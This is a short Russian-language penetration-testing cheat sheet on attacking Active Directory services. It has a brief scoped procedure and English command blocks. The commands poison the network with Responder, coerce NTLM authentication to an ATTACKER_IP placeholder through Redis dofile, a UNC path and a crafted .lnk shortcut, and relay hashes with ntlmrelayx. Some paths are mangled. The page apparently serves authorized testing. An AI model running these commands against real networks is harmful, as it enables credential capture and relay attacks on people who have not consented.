Active Directory (сервисы)
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
1. Убедитесь, что целевой сервис и порт входят в согласованный scope.
2. Выполните перечисление: версия, баннеры, доступные команды и скрипты.
3. Проверьте типовые слабости и сценарии из раздела, документируя каждый шаг.
4. Команды в блоках кода используйте без перевода синтаксиса.
Методика
Введение
Poison the network
sudo responder -I <NETWORK_INTERFACE> -Prdwv
Triggering responder
Redis
redis-cli -h <IP> -p <PORT> eval "dofile('//<ATTACKER_IP>//share')" 0
CMD
C:Usersvictim> \<ATTACKER_IP>
Windows shortcut
./mslink_v1.3.sh -l name -n shortcut -i \\<ATTACKER_IP>\a -o out.lnk
SMB Relay Attack
nmap --script=smb2-security-mode.nse -p445 -Pn <VICTIMS_IP>
sudo sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
responder.py -I eth0 -wdr -v
ntlmrelayx -tf <TARGET> -smb2support -i
Ссылки
—
